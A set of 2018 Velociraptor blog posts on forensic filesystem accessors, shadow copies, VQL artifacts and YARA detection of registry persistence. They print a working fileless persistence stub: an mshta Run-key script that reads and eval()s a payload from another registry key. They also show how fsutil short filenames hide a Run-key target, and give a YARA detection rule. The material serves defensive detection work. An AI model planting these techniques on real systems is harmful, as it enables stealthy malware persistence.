SELECT Name, Size, Mode.String AS Mode, timestamp(epoch=Mtime.Sec) AS mtime,, Data FROM glob(globs=path, accessor=accessor) WHERE Sys.name_type != 'DOS'

The above example shows two volume shadow copies that Windows has taken on two different dates (highlighted above). We can browse these snapshots just like they were another drive (We can also apply any glob expressions to this path):

F:\>velociraptor.exe fs --accessor ntfs ls "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
Users\test\*.exe"
+------------------+----------+------------+---------------------------+------------------+
|       Name       |   Size   |    Mode    |           mtime           |       Data       |
+------------------+----------+------------+---------------------------+------------------+
| velociraptor.exe | 12521472 | -rwxr-xr-x | 2018-08-19T23:37:01-07:00 | mft: 39504-128-0 |
|                  |          |            |                           | name_type: Win32 |
| winpmem.exe      |  3619260 | -rwxr-xr-x | 2017-12-28T21:17:50-08:00 | mft: 39063-128-1 |
|                  |          |            |                           | name_type: POSIX |
+------------------+----------+------------+---------------------------+------------------+
SELECT Name, Size, Mode.String AS Mode, timestamp(epoch=Mtime.Sec) AS mtime, Data FROM
glob(globs=path, accessor=accessor) WHERE Sys.name_type != 'DOS'

Volume shadow copies are like a time machine - they can reveal data that was stored on the drive days or weeks prior to the time we inspected it which makes them very useful for some investigations.

Using filesystem accessors remotely - The Velociraptor VFS

The above description shows how Velociraptor's command line interface can be used to interact with the various filesystem accessors. This is important for writing and collecting artifacts for triage and general system state exploration.

However, how do filesystem accessors appear in the Velociraptor GUI?

image

The nice thing about Velociraptor's GUI is that it is just a way to present the same information that the "fs ls" command is getting by using the same VQL queries. Therefore the view is very familiar:

The top level of the Velociraptor VFS represents all the filesystem accessors implemented in the client.
Each of these accessors shows its own view:
1. The file accessor uses the OS APIs to list files and directories. Its top level is a list of mounted drives (which may be CDROM's or even network shares).
2. The NTFS accessor shows all NTFS volumes accessible, including local drives and Volume Shadow Copies.
3. The registry accessor uses Win32 APIs to access the registry and shows at the top level a list of all system hives currently attached.
For each file listed, the accessor also includes a Data attribute. This contains accessor specific metadata about the file (for example the MFT entry).

In the below screenshot we can see how the user may navigate into the Volume Shadow Copy and retrieve files from it:

image

A note about filenames.

NTFS can have several different names to the same file. Typically, a short DOS 8.3 style filename (e.g. PROGRA~1), as well as a Win32 long filename (e.g. Program Files). You can see the short name for a file using the API GetShortPathName() (or the command dir /x), but a program needs to deliberately ask for it. Most programs do not explicitly collect or show the short filename of a file.

This can cause problems for DFIR applications. For example, Imagine we discovered a Run key to C:\\Users\\test\\runme.exe. If we only considered the long filename (as for example returned by the Win32API FindFile() or the output of the dir command), then we would assume the file has been removed and the run key is not active. In reality however, the file may be called "This is some long filename.exe" with a DOS name of "runme.exe". Explorer (and most tools) will only show the long filename by default, but the runkey will still execute by referring to the DOS filename!

Usually the short filename is some variation of the long filename with a ~1 or ~2 at the end. In reality it can be anything. In the snippet below, I am setting the short filename for the velociraptor.exe binary to be something completely unrelated, then I am running the binary using the unrelated filename:

C:\Users\test>fsutil file setshortname velociraptor.exe runme.exe
C:\Users\test>dir /x *.exe
 Volume in drive C has no label.
 Volume Serial Number is 9459-F443

 Directory of C:\Users\test

08/19/2018  11:37 PM        12,521,472 RUNME.EXE    velociraptor.exe
               2 File(s)     16,140,732 bytes
               0 Dir(s)  11,783,704,576 bytes free
C:\Users\test>runme.exe -h
usage: velociraptor [<flags>] <command> [<args> ...]

An advanced incident response and monitoring agent.

You can see that Windows explorer shows no trace of the runme.exe file since it only displays the Win32 long file name:

image

It is important for DFIR investigators to be aware of this and test your tools! You can see that sysinternals' autoruns program won't have any of these shenanigans when I added a runkey to "runme.exe". It shows the real filename velociraptor.exe even though the runkey indicates runme.exe:

image

Velociraptor treats a file's DOS name and Win32 Name as distinct entries in the NTFS directory listing. This allows us to find any references to the file by it's DOS name as well as its Win32 name.

Conclusions

As Velociraptor gains more functionality, we envision more filesystem accessors to become available. The nice thing about these accessors is that they just slot in to the rest of the VQL plugins. By providing a new accessor, we are able to glob, hash, yara scan etc the new abstraction. For example, to yara scan a registry key one simply calls the VQL plugin yara with an accessor of reg: yara(rules=myRules, files=my_reg_keys, accessor="reg")

Detecting powershell persistence with Velociraptor and Yara

Sat, 29 Sep 2018 04:10:06 +0000

This page is written about a very old version of Velociraptor and is retained for historical purposes.

I was watching the SANS DFIR Summit 2018 videos on YouTube and came across Mari DeGrazia's talk titled "Finding and Decoding Malicious Powershell Scripts". This is an excellent talk and it really contains a wealth of information. It seems that Powershell is really popular these days, allowing attacker to "live off the land" by installing fully functional reverse shells and backdoors, in a few lines of obfuscated scripts.

Mari went through a number of examples and also expanded on some in her blog post Malicious PowerShell in the Registry: Persistence, where she documents persistence through an autorun key launching powershell to execute a payload within another registry key.

A similar persistence mechanism is documented by David Kennedy from Binary defence in his post PowerShell Injection with Fileless Payload Persistence and Bypass Techniques. In that case an msha.exe link was stored in the user's Run key which executed a payload from another registry key.

I was eager to write a Velociraptor artifact to attempt to detect such keys using a YARA signature. Of course signature based detection is not as robust as behavioural analysis but it is quick and usually quite effective.

I thought it was still quite instructive to document how one can develop the VQL queries for a simple Velociraptor artifact. We will be developing the artifact interactively on a Windows system.

Preparation

Our artifact will attempt to detect the persistence mechanism detailed in the above posts. We start by adding a value to our test user account under the key

Key: "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
Value: "C:\Windows\system32\mshta.exe"
Data:
  about:<script>c1hop="X642N10";R3I=new%20ActiveXObject("WScript.Shell");
  QR3iroUf="I7pL7";k9To7P=R3I.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs");
  J7UuF1n="Q2LnLxas";eval(k9To7P);JUe5wz3O="zSfmLod";</script>

Defining the Artifact.

We create a directory called "artifacts" then create a new file inside it called powershell_persistence.yaml. Velociraptor artifacts are just YAML files that can be loaded at runtime using the --definitions flag.

Every artifact has a name, by convention the name is separated into its major categories. We will call ours Windows.Persistence.Powershell:

name: Windows.Persistence.Powershell

This is the minimum required for Velociraptor to identify it. We can see a listing of all artifacts Velociraptor knows about using the "artifacts list" command:

F:\>velociraptor.exe --definitions artifacts artifacts list
INFO:2018/09/28 07:59:40 Loaded 34 built in artifacts
Linux.Applications.Chrome.Extensions
Linux.Applications.Chrome.Extensions.Upload
…
Windows.Persistence.Powershell
...
Windows.Sys.Users

We can collect the artifact simply by using the "artifacts collect" command:

F:\>velociraptor.exe --definitions artifacts artifacts collect Windows.Persistence.Powershell
INFO:2018/09/28 20:01:32 Loaded 34 built in artifacts

Ok so Velociraptor can load and collect this new artifact, but as yet it does nothing! We need to think about what exactly we want to collect.

We know we want to search for all values in the Run/RunOnce hive of all the users. Let's first see if we can retrieve all the values using a glob:

name: Windows.Persistence.Powershell
parameters:
  - name: keyGlob
    default: "HKEY_USERS\\*\\Software\\Microsoft\\Windows\
    \\CurrentVersion\\{Run,RunOnce}\\*"
sources:
 - precondition:
    SELECT OS from info() where OS = "windows"
   queries:
   - |
    SELECT FullPath from glob(
       globs=keyGlob,
       accessor="reg"
    )

This artifact demonstrates a few concepts:

We can define parameters by name, and reference them from within the VQL query. This keeps the VQL query clean and more readable.
We can define a precondition on the artifact. If the precondition is not met, the VQL query will not be run.

Lets run this artifact:

F:\>velociraptor.exe --definitions artifacts artifacts collect Windows.Persistence.Powershell
INFO:2018/09/28 20:51:47 Loaded 34 built in artifacts
+--------------------------------+
|            FullPath            |
+--------------------------------+
| HKEY_USERS\S-1-5-19\Software\M |
| icrosoft\Windows\CurrentVersio |
| n\Run\OneDriveSetup            |
| HKEY_USERS\S-1-5-20\Software\M |
| icrosoft\Windows\CurrentVersio |
| n\Run\OneDriveSetup            |
| HKEY_USERS\S-1-5-21-546003962- |
| 2713609280-610790815-1001\Soft |
| ware\Microsoft\Windows\Current |
| Version\Run\"C:\Windows\system |
| 32\mshta.exe"                  |
+--------------------------------+
Artifact:
Windows.Persistence.Powershell

It returns a couple of results so there are two Run/RunOnce values defined. For this artifact, we only want to return those entries which match a specific yara signature. We can work later on improving the yara signature, but for now let's just detect uses of the eval() powershell command within 500 characters of an ActiveXObject instantiation. We will try to match each value returned from the Run keys with this object:

name: Windows.Persistence.Powershell
parameters:
  - name: keyGlob
    default: "HKEY_USERS\\*\\Software\\Microsoft\\Windows\
             \\CurrentVersion\\{Run,RunOnce}\\*"
  - name: yaraRule
    default: |
      rule Powershell {
        strings:
        $ = /ActiveXObject.{,500}eval/ nocase
        $ = /ActiveXObject.{,500}eval/ wide nocase
        condition:
        any of them
      }
sources:
 - precondition:
    SELECT OS from info() where OS = "windows"
   queries:
   - |
     // This is a stored query
     LET file = SELECT FullPath from glob(
       globs=keyGlob,
       accessor="reg"
     )
   - |
     SELECT * FROM yara(
       rules=yaraRule,
       files=file.FullPath,   // This will expand to a list of paths.
       accessor="reg")

This version recovers the FullPath of all the Run/RunOnce values and stores them in a stored query. We then issue another query that applies the yara rule on these values:

F:\>velociraptor.exe --definitions artifacts artifacts collect Windows.Persistence.Powershell
INFO:2018/09/28 21:29:10 Loaded 34 built in artifacts
+------------+------+------+--------------------------------+--------------------------------+
|    Rule    | Meta | Tags |            Strings             |              File              |
+------------+------+------+--------------------------------+--------------------------------+
| Powershell |      |      | {"Name":"$","Offset":40,"HexDa | {"FullPath":"HKEY_USERS\\S-1-5 |
|            |      |      | ta":["00000000  41 63 74 69 76 | -21-546003962-2713609280-61079 |
|            |      |      |  65 58 4f  62 6a 65 63 74 28 2 | 0815-1001\\Software\\Microsoft |
|            |      |      | 2 57  |ActiveXObject(\"W|","00 | \\Windows\\CurrentVersion\\Run |
|            |      |      | 000010  53 63 72 69 70 74 2e 5 | \\\"C:\\Windows\\system32\\msh |
|            |      |      | 3  68 65 6c 6c 22 29 3b 51  |S | ta.exe\"","Type":"SZ","Data":{ |
|            |      |      | script.Shell\");Q|","00000020   | "type":"SZ","value":"about:\u0 |
|            |      |      | 52 33 69 72 6f 55 66 3d  22 49 | 03cscript\u003ec1hop=\"X642N10 |
|            |      |      |  37 70 4c 37 22 3b  |R3iroUf=\ | \";R3I=new%20ActiveXObject(\"W |
|            |      |      | "I7pL7\";|","00000030  6b 39 5 | Script.Shell\");QR3iroUf=\"I7p |
|            |      |      | 4 6f 37 50 3d 52  33 49 2e 52  | L7\";k9To7P=R3I.RegRead(\"HKCU |
|            |      |      | 65 67 52 65  |k9To7P=R3I.RegRe | \\\\software\\\\bkzlq\\\\zsdnh |
|            |      |      | |","00000040  61 64 28 22 48 4 | epyzs\");J7UuF1n=\"Q2LnLxas\"; |
|            |      |      | b 43 55  5c 5c 73 6f 66 74 77  | eval(k9To7P);JUe5wz3O=\"zSfmLo |
|            |      |      | 61  |ad(\"HKCU\\\\softwa|","00 | d\";\u003c/script\u003e"},"Mti |
|            |      |      | 000050  72 65 5c 5c 62 6b 7a 6 | me":{"sec":1538191253,"usec":1 |
|            |      |      | c  71 5c 5c 7a 73 64 6e 68  |r | 538191253231489700},"Ctime":{" |
|            |      |      | e\\\\bkzlq\\\\zsdnh|","0000006 | sec":1538191253,"usec":1538191 |
|            |      |      | 0  65 70 79 7a 73 22 29 3b  4a | 253231489700},"Atime":{"sec":1 |
|            |      |      |  37 55 75 46 31 6e 3d  |epyzs\ | 538191253,"usec":1538191253231 |
|            |      |      | ");J7UuF1n=|","00000070  22 51 | 489700}}                       |

We can see that the last query returns 5 columns, but each column actually contains objects with quite a lot of additional information. For example, the File column returns information about the file that matched the yara rule (its filename, timestamps etc). The output is a bit confusing so we just return the relevant columns. We can replace the * in the last query with a curated list of columns to return:

SELECT File.FullPath as ValueName, File.Data.value as Contents,
  timestamp(epoch=File.Mtime.Sec) as ModTime
FROM yara(rules=yaraRule,
          files=file.FullPath,
          accessor="reg")

Which results in the quite readable:

F:\>velociraptor.exe --definitions artifacts artifacts collect Windows.Persistence.Powershell
INFO:2018/09/28 21:42:18 Loaded 34 built in artifacts
+--------------------------------+--------------------------------+---------------------------+
|           ValueName            |            Contents            |          ModTime          |
+--------------------------------+--------------------------------+---------------------------+
| HKEY_USERS\S-1-5-21-546003962- | about:<script>c1hop="X642N10"; | 2018-09-28T20:20:53-07:00 |
| 2713609280-610790815-1001\Soft | R3I=new%20ActiveXObject("WScri |                           |
| ware\Microsoft\Windows\Current | pt.Shell");QR3iroUf="I7pL7";k9 |                           |
| Version\Run\"C:\Windows\system | To7P=R3I.RegRead("HKCU\\softwa |                           |
| 32\mshta.exe"                  | re\\bkzlq\\zsdnhepyzs");J7UuF1 |                           |
|                                | n="Q2LnLxas";eval(k9To7P);JUe5 |                           |
|                                | wz3O="zSfmLod";</script>       |                           |
+--------------------------------+--------------------------------+---------------------------+
Artifact: Windows.Persistence.Powershell

Great! This works and only returns values that match the yara signature we developed.

Testing the artifact

Let's test this artifact for real now. We restart the frontend with the --definition flag and this makes the new artifact available in the GUI under the Artifact Collector flow. The GUI also shows the entire artifact we defined so we can see what VQL will be run:

image

Launching the flow appears to work and shows exactly the same result as we collected on the command line:

image

But wait! There is a problem!

When we log out of the machine, and then rerun the artifact it returns no results!

image

Why is that? Experienced incident responders would recognize that any artifact that works from the HKEY_USERS registry hive is inherently unreliable. This is because the HKEY_USERS hive is not a real hive -it is a place where Windows mounts the user's hive when the user logs in.

How does `HKEY_USERS` hive work?

Windows implements the concept of user profiles. Each user has a personal registry hive that stores user specific settings. It is actually a file stored on their home directory called ntuser.dat. When a user logs into the workstation, the file may be synced from the domain controller and then it is mounted under the HKEY_USERS\<sid> registry hive.

This means that when the user logs out, their user registry hive is unmounted and does not appear in HKEY_USERS any longer. Any artifacts based around the HKEY_USERS hive will work only if the collection is run when a user is logged in.

This is obviously not what we want when we hunt for persistence! We want to make sure that none of the users on the system have this persistence mechanism installed. You can imagine a case where a system has been cleaned up but then a user logs into the machine, thereby reinfecting it!

How to fix this?

Yara is a very powerful tool because it allows us to search for patterns in amorphous data (such as process memory and structured files) without having to fully understand the structure of the data we are searching for. Of course this has its limitations, but yara can raise a red flag if the signature matches the file, and we can analyse this file more carefully later.

In this case, we can not rely on globbing the HKEY_USER registry hive, so maybe we can just search the files that back these hives? We know that each user on the system has an NTUSER.DAT file in their home directory (usually C:\\Users\\<username>), so let's write an artifact to find these files. We can reuse the artifact Windows.Sys.Users that reports all user accounts on a system (we display it as JSON to enhance readability):

F:\>velociraptor.exe artifacts collect Windows.Sys.Users --format json
INFO:2018/09/28 22:44:26 Loaded 34 built in artifacts
{
 "Description": "",
 "Directory": "C:\\Users\\test",
 "Gid": 513,
 "Name": "test",
 "Type": "local",
 "UUID": "S-1-5-21-546003962-2713609280-610790815-1001",
 "Uid": 1001
},
{
 "Description": "",
 "Directory": "C:\\Users\\user1",
 "Gid": 513,
 "Name": "user1",
 "Type": "local",
 "UUID": "S-1-5-21-546003962-2713609280-610790815-1003",
 "Uid": 1003
},

So we just want to YARA scan the NTUSER.DAT file in each home directory:

SELECT * from foreach(
row={
   SELECT Name, Directory as HomeDir
     FROM Artifact.Windows.Sys.Users()
    WHERE Directory.value and Gid
},
query={
  SELECT File.FullPath As FullPath,
         Strings.Offset AS Off,
         Strings.HexData As Hex,
          upload(file=File.FullPath, accessor="ntfs") AS Upload
      FROM yara(
            files="\\\\.\\" + HomeDir + "\\ntuser.dat",
            accessor="ntfs",
            rules=yaraRule, context=10)
      })

This query:

Selects all the usernames and their home directory from the Windows.Sys.Users artifact.
For each directory prepends \\\\.\\ and appends "ntuser.dat". For example c:\\Users\\test becomes \\\\.\\c:\\Users\\test\\NTUSER.dat
The file is accessed using the NTFS filesystem accessor. This is necessary because the registry hive is locked if the user is logged in. Therefore we must access it using raw NTFS parsing to bypass the OS locking.
For each file that matches the yara expression, we upload the file to the server for further analysis.

Lets run this new artifact on the server:

image

Unlike the previous artifact, this one simply returns the YARA hit, but because we do not have any context on which value contained the signature, or even if it had been deleted. Luckily we uploaded the raw registry hive for further analysis, and we can use a tool such as RegRipper to extract more information from the hive:

$ wine rip.exe -p user_run -r
/tmp/velociraptor/clients/C.c916a7e445eb0868/uploads/F.078739d6/ntfs/
%5C%5C.%5CC%3A%5CUsers%5Cuser1%5CNTUSER.DAT
Launching user_run v.20140115
user_run v.20140115
(NTUSER.DAT) [Autostart] Get autostart key contents from NTUSER.DAT hive

Software\Microsoft\Windows\CurrentVersion\Run
LastWrite Time Thu Sep 27 01:19:08 2018 (UTC)
 OneDrive: "C:\Users\user1\AppData\Local\Microsoft\OneDrive\OneDrive.exe"
   /background
 c:\windows\system32\mshta.exe: about:<script>c1hop="X642N10";
   R3I=new%20ActiveXObject("WScript.Shell");
   QR3iroUf="I7pL7";k9To7P=R3I.RegRead("HKCU\\software\\
   bkzlq\\zsdnhepyzs");J7UuF1n="Q2LnLxas";eval(k9To7P);JUe5wz3O="zSfmLod";</script>

Note above how we can simply retrieve the uploaded file from Velociraptor's filestore. Velociraptor stores uploaded files on the filesystem within the flow's directory.

Conclusions

In this blog post we saw how to utilize YARA to find suspicious powershell persistence mechanisms. YARA is a powerful tool and using Velociraptor's artifacts we can apply it to files, registry values, and raw NTFS files such as locked registry hives and the pagefile.

We also saw some of the inherent problems with relying on the HKEY_USERS registry hive for detection - the hive is only present when a user is logged in so when we hunt, we might miss those users who are currently logged out. We saw how YARA can be used to detect suspicious patterns in raw registry hive files and how artifacts may retrieve those files for further analysis.

Velociraptor walk through and demo

Mon, 03 Sep 2018 04:10:06 +0000

I just uploaded a screencast of the latest Velociraptor - check it out and play with it, and please provide feedback at velociraptor-discuss@googlegroups.com

Velociraptor Artifacts

Mon, 20 Aug 2018 04:10:06 +0000

First a bit of history. When we first started writing endpoint monitoring tools (With GRR then Rekall Agent) we implemented the ability to collect files, registry keys and other data. If an analyst wanted to collect, say the chrome extensions, they would need to know where chrome extensions typically reside ( %homedir%/.config/google-chrome/Extensions/**) and enter that in each time.

We soon realized this was error prone and required too much mental overhead for analysts to constantly remember these details. GRR inspired the creation of the Forensic Artifacts project. It was created in order to solve the problem of documenting and sharing knowledge about forensic evidence file and registry location.

Further, since GRR can only collect files and has limited parsing support, the parsing and interpretation of the artifacts is not specified. GRR Artifacts can only specify file sets (via globs), registry key/value sets and collections of other artifacts. These are a bit limited in their expressiveness, and so it means that GRR has to augment forensic artifacts with a lot of GRR specific things (like post processing, parsing etc) to make them useful. Although Forensic Artifacts are supposed to be tool agnostic they carry over a lot of GRR implementation details (e.g. the knowledge base interpolations, glob patterns etc).

Next came OSQuery with their SQL like syntax. This was a huge advancement at the time because it allows users to customize the data they obtained from their endpoint, and ask questions from the entire enterprise at once. For the first time it was possible to combine data from multiple sources (i.e. OSQuery "tables") in an intelligent way and customize the output to fit a processing pipeline, rather than write a lot of interface glue code to filter and extract data.

Currently OSQuery has grown many tables - each table typically implements a specific parser to extract one set of data. In this sense OSQuery also solves the same problem as GRR's artifacts - they provide a single named entity (called a table in OSQuery) which produces results about one type of thing (e.g. arp_cache table produces results about the arp cache entries). The user can then just ask for the ARP cache and doesn’t care how we get it.

The next logical development was the development of Velociraptor Query Language (VQL). VQL is not pure SQL - instead it is an SQL like language with a severely reduced feature set. The main difference with regular SQL is the ability to provide arguments to table names - that is a VQL plugin is a data source that can receive arbitrary arguments.

This changes the entire game - since we can now provide high level functions to control plugin execution. Combined with the VQL ability to combine multiple queries into subqueries this opens the door for very complex types of queries.

For example, consider the OSQuery users table. This table reads the system's /etc/passwd file and parses out the different columns. It is hard coded into the OSQuery binary. While this is a very simple table, it shares its operation with many other similar tables. Other tables open similar files, parse them line by line and return each field as the query's columns. There are many similar files that contain useful information on a system. If one was to add a parser for each one in OSQuery, then they need to write a small amount of code, recompile the binary and push it out to clients.

Re-deploying new code to endpoints is a difficult task in practice. There is testing and release processes to employ. Furthermore if a local modification is made to OSQuery one needs to submit PRs upstream, otherwise the codebases may diverge and maintainance would be difficult.

Rather than have a built in plugin for each such table, Velociraptor simply includes a number of generic parsers which may be reused for parsing different files. For example, consider the following VQL Query:

SELECT User, Desc, Uid, Gid, Homedir, Shell FROM parse_records_with_regex(
      file="/etc/passwd",
      regex='(?m)^(?P<User>[^:]+):([^:]+):' +
            '(?P<Uid>[^:]+):(?P<Gid>[^:]+):(?P<Desc>[^:]*):' +
            '(?P<Homedir>[^:]+):(?P<Shell>[^:\\s]+)')

The parse_records_with_regex() plugin simply applies one or more regex to a file and each match is sent as a record. In this case, each line is matched and parsed into its components automatically. Note how the query produces the same results as OSQuery's users table, but uses completely generic parsers.

The generic parser can be used to parse many other file types. Here is query which parses debian apt-source lines:

SELECT * FROM parse_records_with_regex(
   file="/etc/apt/sources.list",
   regex="(?m)^ *(?P<Type>deb(-src)?) "+
         "(?:\\[arch=(?P<Arch>[^\\]]+)\\] )?" +
         "(?P<URL>https?://(?P<base_uri>[^ ]+))" +
         " +(?P<components>.+)")

Having the ability to control parsing directly in the query opens up many possibilities. What if we need to parse new files which do not have an OSQuery parser yet (maybe an enterprise application configuration file)? We can easily construct a query using the generic parsers and issue it to the endpoint to support new file format.

Velociraptor Artifacts

In the previous section we saw how we can express very complex queries to support novel parsing scenarios. However it is hard for users to directly issue the queries - who can remember this complex regex and type it in every time?

We clearly need some way to record the queries in a simple, reusable way. This sounds a lot like GRR's Artifacts! What if we could just write the complex query in a YAML file and then just said to Velociraptor - go collect that artifact and the correct queries would be issued to the client automatically.

Rather than try to make artifacts generic, we define Velociraptor Artifacts as YAML files which simply bundle together a bunch of VQL statements that together run a particular query. In a sense, Velociraptor's artifacts are similar to OSQuery's table definition (since they specify output columns), except they are defined completely by the YAML definition file, using generic reusable VQL plugins, put together with VQL queries.

Here is an example of the the Linux.Sys.Users artifact - this is the equivalent artifact to OSQuery's users table:

name: Linux.Sys.Users
description: Get User specific information like homedir, group etc from /etc/passwd.
parameters:
  - name: PasswordFile
    default: /etc/passwd
    description: The location of the password file.
sources:
  - precondition: |
     SELECT OS From info() where OS = 'linux'
    queries:
      - SELECT User, Desc, Uid, Gid, Homedir, Shell
         FROM parse_records_with_regex(
           file=PasswordFile,
           regex='(?m)^(?P<User>[^:]+):([^:]+):' +
                 '(?P<Uid>[^:]+):(?P<Gid>[^:]+):(?P<Desc>[^:]*):' +
                 '(?P<Homedir>[^:]+):(?P<Shell>[^:\\s]+)')

The artifact has a specific name (Linux.Sys.Users) and a description. The Artifact will only run if the precondition is satisfied (i.e. if we are running on a linux system). Running the artifact locally produces the following output:

$ velociraptor artifacts collect Linux.Sys.Users
+-------------------+-------------------------+-------+-------+--------------------------+
|       USER        |              DESC       |  UID  |  GID  |         HOMEDIR          |
+-------------------+-------------------------+-------+-------+--------------------------+
| root              | root                    |     0 |     0 | /root                    |
| daemon            | daemon                  |     1 |     1 | /usr/sbin                |
| bin               | bin                     |     2 |     2 | /bin                     |
| sys               | sys                     |     3 |     3 | /dev                     |
| sync              | sync                    |     4 | 65534 | /bin                     |
| games             | games                   |     5 |    60 | /usr/games               |
| man               | man                     |     6 |    12 | /var/cache/man           |
| lp                | lp                      |     7 |     7 | /var/spool/lpd           |
| mail              | mail                    |     8 |     8 | /var/mail                |

Why would I want to use Artifacts?

We just demonstrated that Velociraptor's artifact produces the same output as OSQuery's users table - so what? Why use an artifact over hard coding the table in the executable?

Velociraptor is inherently a remote endpoint monitoring agent. Agents are installed on many end points and once installed it is often difficult to remotely update them. For various reasons, endpoints are often difficult to upgrade - for example, they might be off the corporate LAN, or have a broken update agent.

In particular, when responding to a major incident, we often have to rapidly deploy a new hunt to search for an indicator of compromise. In most cases we don't have time to go through proper software deployment best practice and upgrade our endpoint agent in rapid succession (it typically takes weeks to have endpoint agents upgraded).

However, Velociraptor's artifacts allow us to write a new type of parser immediately since it is just a YAML file with VQL statements, we can push it immediately to the clients with no code changes, rebuild, or redeploy scripts. That is very powerful!

Not only can we add new artifacts, but we can adapt artifacts on the fly to different systems - perhaps there is a slightly different version of Linux which keeps files in different locations? Or maybe a slightly different format of the file we are trying to parse. Being able to adapt rapidly is critical.

So how do I use Artifacts?

Velociraptor exposes artifacts via two main mechanisms. The first is the Artifact Collector flow. This flow presents a special GUI which allows us to view the different artifacts, choose which ones we want to launch and describes them:

As we can see in the screenshot above, the artifact collector flow allows the user to inspect the artifacts, before issuing the VQL to the client. The responses are received by the server and displayed as part of the same flow:

This is a pretty easy set and forget type system. However, Velociraptor makes artifacts available within any VQL query too. The artifact simply appears as another VQL plugin. Consider the following VQL Query that filters only user accounts which have a real shell:

$ velociraptor query --format text "SELECT * FROM Artifact.Linux.Sys.Users() where Shell =~ 'bash'"
+------+------+------+------+-----------+-----------+
| USER | DESC | UID  | GID  |  HOMEDIR  |   SHELL   |
+------+------+------+------+-----------+-----------+
| root | root |    0 |    0 | /root     | /bin/bash |
| mic  |      | 1000 | 1000 | /home/mic | /bin/bash |
+------+------+------+------+-----------+-----------+
SELECT * FROM Artifact.Linux.Sys.Users() WHERE Shell =~ 'bash'

An artifact definition can use other artifacts by simply issuing queries against these artifact plugins. This forms a natural system of interdependency between artifacts, and leads to artifact reuse.

How powerful are Velociraptor Artifacts?

Previously we described Velociraptor artifacts as having some properties in common with GRR's artifacts (pure YAML, reusable and server side) and OSQuery's tables (very detailed and potentially complex parsers, directly using APIs and libraries). We said that Velociraptor attempts to replace many of the specific "one artifact per table" model in OSQuery with a set of YAML files referencing generic plugins.

Velociraptor's artifacts can never fully emulate all OSQuery's tables because some OSQuery tables call specific APIs and have very complex operation. However, most of OSQuery's tables are fairly simple and can be easily emulated by Velociraptor artifacts. In this sense -Velociraptor lies somewhere in between GRR's simple collect all files and registry keys without parsing them, and OSQuery's specialized parsers. However VQL is quite capable, as we shall see. Although we can not implement all tables using pure VQL queries, the ability to implement many artifacts this way provides us with unprecedented flexibility and enables rapid response to evolving threats.

Let's looks at some artifacts that demonstrate this flexibility.

Parsing debian packages.

Debian packages keep a manifest file with records delimited by an empty line. Each record consists of possible fields.

- LET packages = SELECT parse_string_with_regex(
     string=Record,
     regex=['Package:\\s(?P<Package>.+)',
            'Installed-Size:\\s(?P<InstalledSize>.+)',
            'Version:\\s(?P<Version>.+)',
            'Source:\\s(?P<Source>.+)',
            'Architecture:\\s(?P<Architecture>.+)']) as Record
     FROM parse_records_with_regex(
            file=linuxDpkgStatus,
            regex='(?sm)^(?P<Record>Package:.+?)\\n\\n')

- SELECT Record.Package as Package,
      Record.InstalledSize as InstalledSize, Record.Version as
      Version, Record.Source as Source, Record.Architecture as
      Architecture
  from packages

The above query uses the parse_records_with_regex() plugin to split the file into records (anything between the Package: and the next empty line). Each record is then parsed separately using the parse_string_with_regex() VQL function. Being able to parse in two (or more) passes makes writing regexes much easier since they can be simplified greatly.

Complex multi-query example: Chrome extensions.

An example of a sophisticated artifact is the chrome extensions artifact. It implements the following algorithm:

For each user on the system, locate all chrome extension manifest files by using a glob expression.
Parse the manifest file as JSON
If the manifest contains a "default_locale" item, then locate the locale message file.
Parse the locale message file.
Extract the extension name - if the extension has default locale then return the string from the locale file, otherwise from the manifest file.

The full artifact is rather long so will not be listed here in full, but are a couple of interesting VQL plugins which make writing artifacts more powerful.

The foreach() plugin runs a query and for each row produced, a second query is run (with the first row present in the scope). This is similar to SQL's JOIN operator but more readable. For example the following query executes a glob on each user's home directory (as obtained from the password file):

LET extension_manifests = SELECT * from foreach(
 row={
    SELECT Uid, User, Homedir from Artifact.Linux.Sys.Users()
 },
 query={
    SELECT FullPath, Mtime, Ctime, User, Uid from glob(
      globs=Homedir + '/' + extensionGlobs)
 })

Note how the query is assigned to the variable "extension_manifests" which can be used as an input to other queries. The if() plugin evaluates a condition (or a query) and runs the "then" query if true, or the "else" query:

LET maybe_read_locale_file = SELECT * from if(
     condition={
        select * from scope() where Manifest.default_locale
     },
     query={
        SELECT Manifest, Uid, User, Filename as LocaleFilename,
               ManifestFilename, parse_json(data=Data) AS LocaleManifest
        FROM read_file(
                -- Munge the filename to get the messages.json path.
                filenames=regex_replace(
                  source=ManifestFilename,
                  replace="/_locales/" + Manifest.default_locale + "/messages.json",
                  re="/manifest.json$"))
     },
     else={
         -- Just fill in empty Locale results.
         SELECT Manifest, Uid, User, "" AS LocaleFilename, "" AS ManifestFilename,
                "" AS LocaleManifest FROM scope()
     })

Parsing binary data: Wtmp file parser.

It is also possible to parse binary files with VQL. For example, consider the wtmp file parser implemented in the Linux.Sys.LastUserLogin artifact. This artifact uses the binary_parser() VQL plugin which accepts a Rekall style profile string to instantiate an iterator over the file. Since the wtmp file is simply a sequence of wtmp structs, we can iterate over them in a query.

SELECT * from foreach(
         row={
           SELECT FullPath from glob(globs=split(string=wtmpGlobs, sep=","))
         },
         query={
           SELECT ut_type, ut_id, ut_host as Host, ut_user as User,
                 timestamp(epoch=ut_tv.tv_sec) as login_time
           FROM binary_parse(
                  file=FullPath,
                  profile=wtmpProfile,
                  iterator="Array",
                  Target="wtmp"
                )
         })

The future

We started implementing many of the simpler OSQuery tables using VQL. For the remaining tables (the ones that need to call out to libraries or more complex APIs), we will integrate these using a set of specialized VQL plugins over time.

Design differences between Velociraptor and GRR

Fri, 10 Aug 2018 04:10:06 +0000

Velociraptor Clients run full VQL queries

GRR's design started off with the assumption that the client should be minimalist and only support a few simple primitives (such as ListDirectory, ListProcesses etc). The intention was that most of the processing would be executed on the server inside a "Flow". The main motivation for this design choice was the observation that it is difficult to upgrade the client in practice, and so with a minimal client, it would be possible to develop more sophisticated Flows, server side, without needing to update the clients.

After running GRR for a while we noticed that this design choice was problematic, since it leads to many client round trips. For example the FileFinder flow searches the client's filesystem for files by name, date etc. GRR's original file finder uses a complex algorithm to issue ListDirectory requests to the client, receive their responses, filter and recurse into directories by communicating with the client again. This leads to many round trips and has a huge performance hit on both the server and client.

